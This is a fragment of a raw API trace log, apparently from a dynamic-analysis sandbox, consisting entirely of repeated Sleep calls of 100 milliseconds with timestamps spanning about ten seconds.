Sleep (dwMilliseconds=0x64) [0209.722] Sleep (dwMilliseconds=0x64) [0209.738] Sleep (dwMilliseconds=0x64) [0209.754] Sleep (dwMilliseconds=0x64) [0209.769] Sleep (dwMilliseconds=0x64) [0209.785] Sleep (dwMilliseconds=0x64) [0209.803] Sleep (dwMilliseconds=0x64) [0209.816] Sleep (dwMilliseconds=0x64) [0209.832] Sleep (dwMilliseconds=0x64) [0209.847] Sleep (dwMilliseconds=0x64) [0209.863] Sleep (dwMilliseconds=0x64) [0209.878] Sleep (dwMilliseconds=0x64) [0209.894] Sleep (dwMilliseconds=0x64) [0209.910] Sleep (dwMilliseconds=0x64) [0209.925] Sleep (dwMilliseconds=0x64) [0209.942] Sleep (dwMilliseconds=0x64) [0209.961] Sleep (dwMilliseconds=0x64) [0209.972] Sleep (dwMilliseconds=0x64) [0209.988] Sleep (dwMilliseconds=0x64) [0210.004] Sleep (dwMilliseconds=0x64) [0210.019] Sleep (dwMilliseconds=0x64) [0210.034] Sleep (dwMilliseconds=0x64) [0210.053] Sleep (dwMilliseconds=0x64) [0210.066] Sleep (dwMilliseconds=0x64) [0210.081] Sleep (dwMilliseconds=0x64) [0210.097] Sleep (dwMilliseconds=0x64) [0210.113] Sleep (dwMilliseconds=0x64) [0210.129] Sleep (dwMilliseconds=0x64) [0210.144] Sleep (dwMilliseconds=0x64) [0210.159] Sleep (dwMilliseconds=0x64) [0210.175] Sleep (dwMilliseconds=0x64) [0210.190] Sleep (dwMilliseconds=0x64) [0210.206] Sleep (dwMilliseconds=0x64) [0210.222] Sleep (dwMilliseconds=0x64) [0210.251] Sleep (dwMilliseconds=0x64) [0210.253] Sleep (dwMilliseconds=0x64) [0210.268] Sleep (dwMilliseconds=0x64) [0210.284] Sleep (dwMilliseconds=0x64) [0210.299] Sleep (dwMilliseconds=0x64) [0210.315] Sleep (dwMilliseconds=0x64) [0210.333] Sleep (dwMilliseconds=0x64) [0210.346] Sleep (dwMilliseconds=0x64) [0210.363] Sleep (dwMilliseconds=0x64) [0210.378] Sleep (dwMilliseconds=0x64) [0210.393] Sleep (dwMilliseconds=0x64) [0210.409] Sleep (dwMilliseconds=0x64) [0210.425] Sleep (dwMilliseconds=0x64) [0210.440] Sleep (dwMilliseconds=0x64) [0210.456] Sleep (dwMilliseconds=0x64) [0210.472] Sleep (dwMilliseconds=0x64) [0210.488] Sleep (dwMilliseconds=0x64) [0210.502] Sleep (dwMilliseconds=0x64) [0210.518] Sleep (dwMilliseconds=0x64) [0210.534] Sleep (dwMilliseconds=0x64) [0210.550] Sleep (dwMilliseconds=0x64) [0210.565] Sleep (dwMilliseconds=0x64) [0210.700] Sleep (dwMilliseconds=0x64) [0210.705] Sleep (dwMilliseconds=0x64) [0210.721] Sleep (dwMilliseconds=0x64) [0210.736] Sleep (dwMilliseconds=0x64) [0210.755] Sleep (dwMilliseconds=0x64) [0210.767] Sleep (dwMilliseconds=0x64) [0210.783] Sleep (dwMilliseconds=0x64) [0210.799] Sleep (dwMilliseconds=0x64) [0210.815] Sleep (dwMilliseconds=0x64) [0210.831] Sleep (dwMilliseconds=0x64) [0210.846] Sleep (dwMilliseconds=0x64) [0210.861] Sleep (dwMilliseconds=0x64) [0210.877] Sleep (dwMilliseconds=0x64) [0210.892] Sleep (dwMilliseconds=0x64) [0210.910] Sleep (dwMilliseconds=0x64) [0210.924] Sleep (dwMilliseconds=0x64) [0210.940] Sleep (dwMilliseconds=0x64) [0210.955] Sleep (dwMilliseconds=0x64) [0210.970] Sleep (dwMilliseconds=0x64) [0210.986] Sleep (dwMilliseconds=0x64) [0211.002] Sleep (dwMilliseconds=0x64) [0211.018] Sleep (dwMilliseconds=0x64) [0211.037] Sleep (dwMilliseconds=0x64) [0211.049] Sleep (dwMilliseconds=0x64) [0211.064] Sleep (dwMilliseconds=0x64) [0211.080] Sleep (dwMilliseconds=0x64) [0211.095] Sleep (dwMilliseconds=0x64) [0211.111] Sleep (dwMilliseconds=0x64) [0211.126] Sleep (dwMilliseconds=0x64) [0211.143] Sleep (dwMilliseconds=0x64) [0211.158] Sleep (dwMilliseconds=0x64) [0211.173] Sleep (dwMilliseconds=0x64) [0211.189] Sleep (dwMilliseconds=0x64) [0211.204] Sleep (dwMilliseconds=0x64) [0211.220] Sleep (dwMilliseconds=0x64) [0211.236] Sleep (dwMilliseconds=0x64) [0211.266] Sleep (dwMilliseconds=0x64) [0211.267] Sleep (dwMilliseconds=0x64) [0211.282] Sleep (dwMilliseconds=0x64) [0211.298] Sleep (dwMilliseconds=0x64) [0211.314] Sleep (dwMilliseconds=0x64) [0211.337] Sleep (dwMilliseconds=0x64) [0211.345] Sleep (dwMilliseconds=0x64) [0211.361] Sleep (dwMilliseconds=0x64) [0211.376] Sleep (dwMilliseconds=0x64) [0211.392] Sleep (dwMilliseconds=0x64) [0211.407] Sleep (dwMilliseconds=0x64) [0211.423] Sleep (dwMilliseconds=0x64) [0211.439] Sleep (dwMilliseconds=0x64) [0211.456] Sleep (dwMilliseconds=0x64) [0211.470] Sleep (dwMilliseconds=0x64) [0211.486] Sleep (dwMilliseconds=0x64) [0211.501] Sleep (dwMilliseconds=0x64) [0211.516] Sleep (dwMilliseconds=0x64) [0211.532] Sleep (dwMilliseconds=0x64) [0211.548] Sleep (dwMilliseconds=0x64) [0211.563] Sleep (dwMilliseconds=0x64) [0211.579] Sleep (dwMilliseconds=0x64) [0211.595] Sleep (dwMilliseconds=0x64) [0211.610] Sleep (dwMilliseconds=0x64) [0211.626] Sleep (dwMilliseconds=0x64) [0211.641] Sleep (dwMilliseconds=0x64) [0211.657] Sleep (dwMilliseconds=0x64) [0211.674] Sleep (dwMilliseconds=0x64) [0211.688] Sleep (dwMilliseconds=0x64) [0211.704] Sleep (dwMilliseconds=0x64) [0211.719] Sleep (dwMilliseconds=0x64) [0211.735] Sleep (dwMilliseconds=0x64) [0211.750] Sleep (dwMilliseconds=0x64) [0211.766] Sleep (dwMilliseconds=0x64) [0211.782] Sleep (dwMilliseconds=0x64) [0211.797] Sleep (dwMilliseconds=0x64) [0211.815] Sleep (dwMilliseconds=0x64) [0211.828] Sleep (dwMilliseconds=0x64) [0211.844] Sleep (dwMilliseconds=0x64) [0211.860] Sleep (dwMilliseconds=0x64) [0211.875] Sleep (dwMilliseconds=0x64) [0211.891] Sleep (dwMilliseconds=0x64) [0211.906] Sleep (dwMilliseconds=0x64) [0211.922] Sleep (dwMilliseconds=0x64) [0211.941] Sleep (dwMilliseconds=0x64) [0211.955] Sleep (dwMilliseconds=0x64) [0211.971] Sleep (dwMilliseconds=0x64) [0212.040] Sleep (dwMilliseconds=0x64) [0212.062] Sleep (dwMilliseconds=0x64) [0212.078] Sleep (dwMilliseconds=0x64) [0212.093] Sleep (dwMilliseconds=0x64) [0212.109] Sleep (dwMilliseconds=0x64) [0212.125] Sleep (dwMilliseconds=0x64) [0212.140] Sleep (dwMilliseconds=0x64) [0212.156] Sleep (dwMilliseconds=0x64) [0212.171] Sleep (dwMilliseconds=0x64) [0212.187] Sleep (dwMilliseconds=0x64) [0212.203] Sleep (dwMilliseconds=0x64) [0212.218] Sleep (dwMilliseconds=0x64) [0212.234] Sleep (dwMilliseconds=0x64) [0212.250] Sleep (dwMilliseconds=0x64) [0212.265] Sleep (dwMilliseconds=0x64) [0212.281] Sleep (dwMilliseconds=0x64) [0212.296] Sleep (dwMilliseconds=0x64) [0212.312] Sleep (dwMilliseconds=0x64) [0212.332] Sleep (dwMilliseconds=0x64) [0212.344] Sleep (dwMilliseconds=0x64) [0212.359] Sleep (dwMilliseconds=0x64) [0212.374] Sleep (dwMilliseconds=0x64) [0212.390] Sleep (dwMilliseconds=0x64) [0212.406] Sleep (dwMilliseconds=0x64) [0212.422] Sleep (dwMilliseconds=0x64) [0212.437] Sleep (dwMilliseconds=0x64) [0212.453] Sleep (dwMilliseconds=0x64) [0212.468] Sleep (dwMilliseconds=0x64) [0212.484] Sleep (dwMilliseconds=0x64) [0212.499] Sleep (dwMilliseconds=0x64) [0212.518] Sleep (dwMilliseconds=0x64) [0212.531] Sleep (dwMilliseconds=0x64) [0212.547] Sleep (dwMilliseconds=0x64) [0212.562] Sleep (dwMilliseconds=0x64) [0212.578] Sleep (dwMilliseconds=0x64) [0212.593] Sleep (dwMilliseconds=0x64) [0212.609] Sleep (dwMilliseconds=0x64) [0212.624] Sleep (dwMilliseconds=0x64) [0212.640] Sleep (dwMilliseconds=0x64) [0212.655] Sleep (dwMilliseconds=0x64) [0212.673] Sleep (dwMilliseconds=0x64) [0212.687] Sleep (dwMilliseconds=0x64) [0212.702] Sleep (dwMilliseconds=0x64) [0212.718] Sleep (dwMilliseconds=0x64) [0212.733] Sleep (dwMilliseconds=0x64) [0212.749] Sleep (dwMilliseconds=0x64) [0212.765] Sleep (dwMilliseconds=0x64) [0212.780] Sleep (dwMilliseconds=0x64) [0212.796] Sleep (dwMilliseconds=0x64) [0212.811] Sleep (dwMilliseconds=0x64) [0212.827] Sleep (dwMilliseconds=0x64) [0212.842] Sleep (dwMilliseconds=0x64) [0212.858] Sleep (dwMilliseconds=0x64) [0212.874] Sleep (dwMilliseconds=0x64) [0212.893] Sleep (dwMilliseconds=0x64) [0212.905] Sleep (dwMilliseconds=0x64) [0212.920] Sleep (dwMilliseconds=0x64) [0212.936] Sleep (dwMilliseconds=0x64) [0212.952] Sleep (dwMilliseconds=0x64) [0212.967] Sleep (dwMilliseconds=0x64) [0212.983] Sleep (dwMilliseconds=0x64) [0212.998] Sleep (dwMilliseconds=0x64) [0213.017] Sleep (dwMilliseconds=0x64) [0213.030] Sleep (dwMilliseconds=0x64) [0213.046] Sleep (dwMilliseconds=0x64) [0213.079] Sleep (dwMilliseconds=0x64) [0213.092] Sleep (dwMilliseconds=0x64) [0213.108] Sleep (dwMilliseconds=0x64) [0213.123] Sleep (dwMilliseconds=0x64) [0213.140] Sleep (dwMilliseconds=0x64) [0213.154] Sleep (dwMilliseconds=0x64) [0213.170] Sleep (dwMilliseconds=0x64) [0213.186] Sleep (dwMilliseconds=0x64) [0213.201] Sleep (dwMilliseconds=0x64) [0213.217] Sleep (dwMilliseconds=0x64) [0213.233] Sleep (dwMilliseconds=0x64) [0213.248] Sleep (dwMilliseconds=0x64) [0213.264] Sleep (dwMilliseconds=0x64) [0213.295] Sleep (dwMilliseconds=0x64) [0213.310] Sleep (dwMilliseconds=0x64) [0213.326] Sleep (dwMilliseconds=0x64) [0213.353] Sleep (dwMilliseconds=0x64) [0213.358] Sleep (dwMilliseconds=0x64) [0213.373] Sleep (dwMilliseconds=0x64) [0213.389] Sleep (dwMilliseconds=0x64) [0213.404] Sleep (dwMilliseconds=0x64) [0213.420] Sleep (dwMilliseconds=0x64) [0213.435] Sleep (dwMilliseconds=0x64) [0213.451] Sleep (dwMilliseconds=0x64) [0213.467] Sleep (dwMilliseconds=0x64) [0213.482] Sleep (dwMilliseconds=0x64) [0213.498] Sleep (dwMilliseconds=0x64) [0213.513] Sleep (dwMilliseconds=0x64) [0213.529] Sleep (dwMilliseconds=0x64) [0213.544] Sleep (dwMilliseconds=0x64) [0213.560] Sleep (dwMilliseconds=0x64) [0213.576] Sleep (dwMilliseconds=0x64) [0213.591] Sleep (dwMilliseconds=0x64) [0213.607] Sleep (dwMilliseconds=0x64) [0213.633] Sleep (dwMilliseconds=0x64) [0213.638] Sleep (dwMilliseconds=0x64) [0213.654] Sleep (dwMilliseconds=0x64) [0213.670] Sleep (dwMilliseconds=0x64) [0213.685] Sleep (dwMilliseconds=0x64) [0213.701] Sleep (dwMilliseconds=0x64) [0213.716] Sleep (dwMilliseconds=0x64) [0213.733] Sleep (dwMilliseconds=0x64) [0213.747] Sleep (dwMilliseconds=0x64) [0213.763] Sleep (dwMilliseconds=0x64) [0213.779] Sleep (dwMilliseconds=0x64) [0213.794] Sleep (dwMilliseconds=0x64) [0213.810] Sleep (dwMilliseconds=0x64) [0213.838] Sleep (dwMilliseconds=0x64) [0213.844] Sleep (dwMilliseconds=0x64) [0213.856] Sleep (dwMilliseconds=0x64) [0213.872] Sleep (dwMilliseconds=0x64) [0213.888] Sleep (dwMilliseconds=0x64) [0213.904] Sleep (dwMilliseconds=0x64) [0213.919] Sleep (dwMilliseconds=0x64) [0213.936] Sleep (dwMilliseconds=0x64) [0213.950] Sleep (dwMilliseconds=0x64) [0213.969] Sleep (dwMilliseconds=0x64) [0213.981] Sleep (dwMilliseconds=0x64) [0213.997] Sleep (dwMilliseconds=0x64) [0214.012] Sleep (dwMilliseconds=0x64) [0214.028] Sleep (dwMilliseconds=0x64) [0214.043] Sleep (dwMilliseconds=0x64) [0214.059] Sleep (dwMilliseconds=0x64) [0214.075] Sleep (dwMilliseconds=0x64) [0214.090] Sleep (dwMilliseconds=0x64) [0214.106] Sleep (dwMilliseconds=0x64) [0214.122] Sleep (dwMilliseconds=0x64) [0214.137] Sleep (dwMilliseconds=0x64) [0214.153] Sleep (dwMilliseconds=0x64) [0214.168] Sleep (dwMilliseconds=0x64) [0214.184] Sleep (dwMilliseconds=0x64) [0214.200] Sleep (dwMilliseconds=0x64) [0214.215] Sleep (dwMilliseconds=0x64) [0214.231] Sleep (dwMilliseconds=0x64) [0214.246] Sleep (dwMilliseconds=0x64) [0214.262] Sleep (dwMilliseconds=0x64) [0214.278] Sleep (dwMilliseconds=0x64) [0214.306] Sleep (dwMilliseconds=0x64) [0214.309] Sleep (dwMilliseconds=0x64) [0214.324] Sleep (dwMilliseconds=0x64) [0214.347] Sleep (dwMilliseconds=0x64) [0214.356] Sleep (dwMilliseconds=0x64) [0214.371] Sleep (dwMilliseconds=0x64) [0214.387] Sleep (dwMilliseconds=0x64) [0214.402] Sleep (dwMilliseconds=0x64) [0214.418] Sleep (dwMilliseconds=0x64) [0214.434] Sleep (dwMilliseconds=0x64) [0214.449] Sleep (dwMilliseconds=0x64) [0214.466] Sleep (dwMilliseconds=0x64) [0214.481] Sleep (dwMilliseconds=0x64) [0214.496] Sleep (dwMilliseconds=0x64) [0214.512] Sleep (dwMilliseconds=0x64) [0214.527] Sleep (dwMilliseconds=0x64) [0214.543] Sleep (dwMilliseconds=0x64) [0214.559] Sleep (dwMilliseconds=0x64) [0214.574] Sleep (dwMilliseconds=0x64) [0214.590] Sleep (dwMilliseconds=0x64) [0214.605] Sleep (dwMilliseconds=0x64) [0214.621] Sleep (dwMilliseconds=0x64) [0214.637] Sleep (dwMilliseconds=0x64) [0214.652] Sleep (dwMilliseconds=0x64) [0214.668] Sleep (dwMilliseconds=0x64) [0214.684] Sleep (dwMilliseconds=0x64) [0214.699] Sleep (dwMilliseconds=0x64) [0214.714] Sleep (dwMilliseconds=0x64) [0214.731] Sleep (dwMilliseconds=0x64) [0214.746] Sleep (dwMilliseconds=0x64) [0214.762] Sleep (dwMilliseconds=0x64) [0214.777] Sleep (dwMilliseconds=0x64) [0214.792] Sleep (dwMilliseconds=0x64) [0214.808] Sleep (dwMilliseconds=0x64) [0214.824] Sleep (dwMilliseconds=0x64) [0214.839] Sleep (dwMilliseconds=0x64) [0214.855] Sleep (dwMilliseconds=0x64) [0214.870] Sleep (dwMilliseconds=0x64) [0214.886] Sleep (dwMilliseconds=0x64) [0214.902] Sleep (dwMilliseconds=0x64) [0214.917] Sleep (dwMilliseconds=0x64) [0214.933] Sleep (dwMilliseconds=0x64) [0214.951] Sleep (dwMilliseconds=0x64) [0214.964] Sleep (dwMilliseconds=0x64) [0214.980] Sleep (dwMilliseconds=0x64) [0214.996] Sleep (dwMilliseconds=0x64) [0215.011] Sleep (dwMilliseconds=0x64) [0215.026] Sleep (dwMilliseconds=0x64) [0215.042] Sleep (dwMilliseconds=0x64) [0215.058] Sleep (dwMilliseconds=0x64) [0215.074] Sleep (dwMilliseconds=0x64) [0215.089] Sleep (dwMilliseconds=0x64) [0215.105] Sleep (dwMilliseconds=0x64) [0215.120] Sleep (dwMilliseconds=0x64) [0215.136] Sleep (dwMilliseconds=0x64) [0215.151] Sleep (dwMilliseconds=0x64) [0215.167] Sleep (dwMilliseconds=0x64) [0215.182] Sleep (dwMilliseconds=0x64) [0215.199] Sleep (dwMilliseconds=0x64) [0215.214] Sleep (dwMilliseconds=0x64) [0215.229] Sleep (dwMilliseconds=0x64) [0215.245] Sleep (dwMilliseconds=0x64) [0215.261] Sleep (dwMilliseconds=0x64) [0215.276] Sleep (dwMilliseconds=0x64) [0215.292] Sleep (dwMilliseconds=0x64) [0215.321] Sleep (dwMilliseconds=0x64) [0215.323] Sleep (dwMilliseconds=0x64) [0215.341] Sleep (dwMilliseconds=0x64) [0215.354] Sleep (dwMilliseconds=0x64) [0215.370] Sleep (dwMilliseconds=0x64) [0215.385] Sleep (dwMilliseconds=0x64) [0215.401] Sleep (dwMilliseconds=0x64) [0215.416] Sleep (dwMilliseconds=0x64) [0215.432] Sleep (dwMilliseconds=0x64) [0215.448] Sleep (dwMilliseconds=0x64) [0215.463] Sleep (dwMilliseconds=0x64) [0215.479] Sleep (dwMilliseconds=0x64) [0215.496] Sleep (dwMilliseconds=0x64) [0215.510] Sleep (dwMilliseconds=0x64) [0215.526] Sleep (dwMilliseconds=0x64) [0215.542] Sleep (dwMilliseconds=0x64) [0215.557] Sleep (dwMilliseconds=0x64) [0215.573] Sleep (dwMilliseconds=0x64) [0215.588] Sleep (dwMilliseconds=0x64) [0215.604] Sleep (dwMilliseconds=0x64) [0215.619] Sleep (dwMilliseconds=0x64) [0215.635] Sleep (dwMilliseconds=0x64) [0215.651] Sleep (dwMilliseconds=0x64) [0215.666] Sleep (dwMilliseconds=0x64) [0215.683] Sleep (dwMilliseconds=0x64) [0215.697] Sleep (dwMilliseconds=0x64) [0215.716] Sleep (dwMilliseconds=0x64) [0215.729] Sleep (dwMilliseconds=0x64) [0215.744] Sleep (dwMilliseconds=0x64) [0215.760] Sleep (dwMilliseconds=0x64) [0215.775] Sleep (dwMilliseconds=0x64) [0215.792] Sleep (dwMilliseconds=0x64) [0215.806] Sleep (dwMilliseconds=0x64) [0215.825] Sleep (dwMilliseconds=0x64) [0215.847] Sleep (dwMilliseconds=0x64) [0215.853] Sleep (dwMilliseconds=0x64) [0215.869] Sleep (dwMilliseconds=0x64) [0215.885] Sleep (dwMilliseconds=0x64) [0215.902] Sleep (dwMilliseconds=0x64) [0215.916] Sleep (dwMilliseconds=0x64) [0215.932] Sleep (dwMilliseconds=0x64) [0215.947] Sleep (dwMilliseconds=0x64) [0215.962] Sleep (dwMilliseconds=0x64) [0215.978] Sleep (dwMilliseconds=0x64) [0215.994] Sleep (dwMilliseconds=0x64) [0216.009] Sleep (dwMilliseconds=0x64) [0216.026] Sleep (dwMilliseconds=0x64) [0216.041] Sleep (dwMilliseconds=0x64) [0216.056] Sleep (dwMilliseconds=0x64) [0216.072] Sleep (dwMilliseconds=0x64) [0216.088] Sleep (dwMilliseconds=0x64) [0216.103] Sleep (dwMilliseconds=0x64) [0216.118] Sleep (dwMilliseconds=0x64) [0216.134] Sleep (dwMilliseconds=0x64) [0216.150] Sleep (dwMilliseconds=0x64) [0216.166] Sleep (dwMilliseconds=0x64) [0216.181] Sleep (dwMilliseconds=0x64) [0216.197] Sleep (dwMilliseconds=0x64) [0216.212] Sleep (dwMilliseconds=0x64) [0216.228] Sleep (dwMilliseconds=0x64) [0216.243] Sleep (dwMilliseconds=0x64) [0216.259] Sleep (dwMilliseconds=0x64) [0216.274] Sleep (dwMilliseconds=0x64) [0216.290] Sleep (dwMilliseconds=0x64) [0216.306] Sleep (dwMilliseconds=0x64) [0216.336] Sleep (dwMilliseconds=0x64) [0216.339] Sleep (dwMilliseconds=0x64) [0216.352] Sleep (dwMilliseconds=0x64) [0216.368] Sleep (dwMilliseconds=0x64) [0216.386] Sleep (dwMilliseconds=0x64) [0216.399] Sleep (dwMilliseconds=0x64) [0216.415] Sleep (dwMilliseconds=0x64) [0216.433] Sleep (dwMilliseconds=0x64) [0216.446] Sleep (dwMilliseconds=0x64) [0216.462] Sleep (dwMilliseconds=0x64) [0216.477] Sleep (dwMilliseconds=0x64) [0216.493] Sleep (dwMilliseconds=0x64) [0216.508] Sleep (dwMilliseconds=0x64) [0216.524] Sleep (dwMilliseconds=0x64) [0216.540] Sleep (dwMilliseconds=0x64) [0216.555] Sleep (dwMilliseconds=0x64) [0216.571] Sleep (dwMilliseconds=0x64) [0216.586] Sleep (dwMilliseconds=0x64) [0216.602] Sleep (dwMilliseconds=0x64) [0216.618] Sleep (dwMilliseconds=0x64) [0216.634] Sleep (dwMilliseconds=0x64) [0216.649] Sleep (dwMilliseconds=0x64) [0216.667] Sleep (dwMilliseconds=0x64) [0216.680] Sleep (dwMilliseconds=0x64) [0216.696] Sleep (dwMilliseconds=0x64) [0216.711] Sleep (dwMilliseconds=0x64) [0216.727] Sleep (dwMilliseconds=0x64) [0216.743] Sleep (dwMilliseconds=0x64) [0216.758] Sleep (dwMilliseconds=0x64) [0216.774] Sleep (dwMilliseconds=0x64) [0216.789] Sleep (dwMilliseconds=0x64) [0216.805] Sleep (dwMilliseconds=0x64) [0216.821] Sleep (dwMilliseconds=0x64) [0216.836] Sleep (dwMilliseconds=0x64) [0216.853] Sleep (dwMilliseconds=0x64) [0216.867] Sleep (dwMilliseconds=0x64) [0216.887] Sleep (dwMilliseconds=0x64) [0216.898] Sleep (dwMilliseconds=0x64) [0216.914] Sleep (dwMilliseconds=0x64) [0216.930] Sleep (dwMilliseconds=0x64) [0216.945] Sleep (dwMilliseconds=0x64) [0216.961] Sleep (dwMilliseconds=0x64) [0216.976] Sleep (dwMilliseconds=0x64) [0216.992] Sleep (dwMilliseconds=0x64) [0217.011] Sleep (dwMilliseconds=0x64) [0217.023] Sleep (dwMilliseconds=0x64) [0217.039] Sleep (dwMilliseconds=0x64) [0217.054] Sleep (dwMilliseconds=0x64) [0217.070] Sleep (dwMilliseconds=0x64) [0217.086] Sleep (dwMilliseconds=0x64) [0217.102] Sleep (dwMilliseconds=0x64) [0217.117] Sleep (dwMilliseconds=0x64) [0217.133] Sleep (dwMilliseconds=0x64) [0217.148] Sleep (dwMilliseconds=0x64) [0217.164] Sleep (dwMilliseconds=0x64) [0217.180] Sleep (dwMilliseconds=0x64) [0217.195] Sleep (dwMilliseconds=0x64) [0217.210] Sleep (dwMilliseconds=0x64) [0217.226] Sleep (dwMilliseconds=0x64) [0217.242] Sleep (dwMilliseconds=0x64) [0217.257] Sleep (dwMilliseconds=0x64) [0217.273] Sleep (dwMilliseconds=0x64) [0217.289] Sleep (dwMilliseconds=0x64) [0217.304] Sleep (dwMilliseconds=0x64) [0217.320] Sleep (dwMilliseconds=0x64) [0217.352] Sleep (dwMilliseconds=0x64) [0217.366] Sleep (dwMilliseconds=0x64) [0217.382] Sleep (dwMilliseconds=0x64) [0217.398] Sleep (dwMilliseconds=0x64) [0217.414] Sleep (dwMilliseconds=0x64) [0217.429] Sleep (dwMilliseconds=0x64) [0217.445] Sleep (dwMilliseconds=0x64) [0217.461] Sleep (dwMilliseconds=0x64) [0217.476] Sleep (dwMilliseconds=0x64) [0217.491] Sleep (dwMilliseconds=0x64) [0217.507] Sleep (dwMilliseconds=0x64) [0217.522] Sleep (dwMilliseconds=0x64) [0217.540] Sleep (dwMilliseconds=0x64) [0217.554] Sleep (dwMilliseconds=0x64) [0217.569] Sleep (dwMilliseconds=0x64) [0217.585] Sleep (dwMilliseconds=0x64) [0217.600] Sleep (dwMilliseconds=0x64) [0217.616] Sleep (dwMilliseconds=0x64) [0217.632] Sleep (dwMilliseconds=0x64) [0217.647] Sleep (dwMilliseconds=0x64) [0217.663] Sleep (dwMilliseconds=0x64) [0217.679] Sleep (dwMilliseconds=0x64) [0217.696] Sleep (dwMilliseconds=0x64) [0217.710] Sleep (dwMilliseconds=0x64) [0217.726] Sleep (dwMilliseconds=0x64) [0217.741] Sleep (dwMilliseconds=0x64) [0217.757] Sleep (dwMilliseconds=0x64) [0217.772] Sleep (dwMilliseconds=0x64) [0217.794] Sleep (dwMilliseconds=0x64) [0217.803] Sleep (dwMilliseconds=0x64) [0217.819] Sleep (dwMilliseconds=0x64) [0217.839] Sleep (dwMilliseconds=0x64) [0217.852] Sleep (dwMilliseconds=0x64) [0217.866] Sleep (dwMilliseconds=0x64) [0217.881] Sleep (dwMilliseconds=0x64) [0217.897] Sleep (dwMilliseconds=0x64) [0217.916] Sleep (dwMilliseconds=0x64) [0217.929] Sleep (dwMilliseconds=0x64) [0217.944] Sleep (dwMilliseconds=0x64) [0217.959] Sleep (dwMilliseconds=0x64) [0217.975] Sleep (dwMilliseconds=0x64) [0217.990] Sleep (dwMilliseconds=0x64) [0218.006] Sleep (dwMilliseconds=0x64) [0218.022] Sleep (dwMilliseconds=0x64) [0218.039] Sleep (dwMilliseconds=0x64) [0218.053] Sleep (dwMilliseconds=0x64) [0218.069] Sleep (dwMilliseconds=0x64) [0218.084] Sleep (dwMilliseconds=0x64) [0218.100] Sleep (dwMilliseconds=0x64) [0218.116] Sleep (dwMilliseconds=0x64) [0218.136] Sleep (dwMilliseconds=0x64) [0218.147] Sleep (dwMilliseconds=0x64) [0218.162] Sleep (dwMilliseconds=0x64) [0218.178] Sleep (dwMilliseconds=0x64) [0218.194] Sleep (dwMilliseconds=0x64) [0218.209] Sleep (dwMilliseconds=0x64) [0218.224] Sleep (dwMilliseconds=0x64) [0218.240] Sleep (dwMilliseconds=0x64) [0218.256] Sleep (dwMilliseconds=0x64) [0218.272] Sleep (dwMilliseconds=0x64) [0218.287] Sleep (dwMilliseconds=0x64) [0218.302] Sleep (dwMilliseconds=0x64) [0218.318] Sleep (dwMilliseconds=0x64) [0218.341] Sleep (dwMilliseconds=0x64) [0218.352] Sleep (dwMilliseconds=0x64) [0218.365] Sleep (dwMilliseconds=0x64) [0218.381] Sleep (dwMilliseconds=0x64) [0218.396] Sleep (dwMilliseconds=0x64) [0218.412] Sleep (dwMilliseconds=0x64) [0218.427] Sleep (dwMilliseconds=0x64) [0218.444] Sleep (dwMilliseconds=0x64) [0218.458] Sleep (dwMilliseconds=0x64) [0218.474] Sleep (dwMilliseconds=0x64) [0218.491] Sleep (dwMilliseconds=0x64) [0218.506] Sleep (dwMilliseconds=0x64) [0218.521] Sleep (dwMilliseconds=0x64) [0218.537] Sleep (dwMilliseconds=0x64) [0218.552] Sleep (dwMilliseconds=0x64) [0218.570] Sleep (dwMilliseconds=0x64) [0218.583] Sleep (dwMilliseconds=0x64) [0218.601] Sleep (dwMilliseconds=0x64) [0218.614] Sleep (dwMilliseconds=0x64) [0218.631] Sleep (dwMilliseconds=0x64) [0218.649] Sleep (dwMilliseconds=0x64) [0218.669] Sleep (dwMilliseconds=0x64) [0218.677] Sleep (dwMilliseconds=0x64) [0218.694] Sleep (dwMilliseconds=0x64) [0218.708] Sleep (dwMilliseconds=0x64) [0218.724] Sleep (dwMilliseconds=0x64) [0218.739] Sleep (dwMilliseconds=0x64) [0218.755] Sleep (dwMilliseconds=0x64) [0218.770] Sleep (dwMilliseconds=0x64) [0218.786] Sleep (dwMilliseconds=0x64) [0218.802] Sleep (dwMilliseconds=0x64) [0218.818] Sleep (dwMilliseconds=0x64) [0218.833] Sleep (dwMilliseconds=0x64) [0218.849] Sleep (dwMilliseconds=0x64) [0218.864] Sleep (dwMilliseconds=0x64) [0218.880] Sleep (dwMilliseconds=0x64) [0218.895] Sleep (dwMilliseconds=0x64) [0218.913] Sleep (dwMilliseconds=0x64) [0218.927] Sleep (dwMilliseconds=0x64) [0218.943] Sleep (dwMilliseconds=0x64) [0218.958] Sleep (dwMilliseconds=0x64) [0218.974] Sleep (dwMilliseconds=0x64) [0218.989] Sleep (dwMilliseconds=0x64) [0219.005] Sleep (dwMilliseconds=0x64) [0219.020] Sleep (dwMilliseconds=0x64) [0219.036] Sleep (dwMilliseconds=0x64) [0219.051] Sleep (dwMilliseconds=0x64) [0219.071] Sleep (dwMilliseconds=0x64) [0219.082] Sleep (dwMilliseconds=0x64) [0219.098] Sleep (dwMilliseconds=0x64) [0219.114] Sleep (dwMilliseconds=0x64) [0219.130] Sleep (dwMilliseconds=0x64) [0219.152] Sleep (dwMilliseconds=0x64) [0219.160] Sleep (dwMilliseconds=0x64) [0219.176] Sleep (dwMilliseconds=0x64) [0219.192] Sleep (dwMilliseconds=0x64) [0219.207] Sleep (dwMilliseconds=0x64) [0219.223] Sleep (dwMilliseconds=0x64) [0219.238] Sleep (dwMilliseconds=0x64) [0219.255] Sleep (dwMilliseconds=0x64) [0219.270] Sleep (dwMilliseconds=0x64) [0219.285] Sleep (dwMilliseconds=0x64) [0219.301] Sleep (dwMilliseconds=0x64) [0219.317] Sleep (dwMilliseconds=0x64) [0219.339] Sleep (dwMilliseconds=0x64) [0219.359] Sleep (dwMilliseconds=0x64) [0219.363] Sleep (dwMilliseconds=0x64) [0219.379] Sleep (dwMilliseconds=0x64) [0219.394] Sleep (dwMilliseconds=0x64) [0219.410] Sleep (dwMilliseconds=0x64) [0219.426] Sleep (dwMilliseconds=0x64) [0219.441] Sleep (dwMilliseconds=0x64) [0219.464] Sleep (dwMilliseconds=0x64) [0219.473] Sleep (dwMilliseconds=0x64) [0219.488] Sleep (dwMilliseconds=0x64) [0219.505] Sleep (dwMilliseconds=0x64) [0219.519] Sleep (dwMilliseconds=0x64) [0219.535] Sleep (dwMilliseconds=0x64) [0219.550] Sleep (dwMilliseconds=0x64) [0219.567] Sleep (dwMilliseconds=0x64) [0219.582] Sleep (dwMilliseconds=0x64) [0219.597] Sleep (dwMilliseconds=0x64) [0219.615] Sleep (dwMilliseconds=0x64) [0219.629] Sleep (dwMilliseconds=0x64) [0219.647] Sleep (dwMilliseconds=0x64) [0219.660] Sleep (dwMilliseconds=0x64) 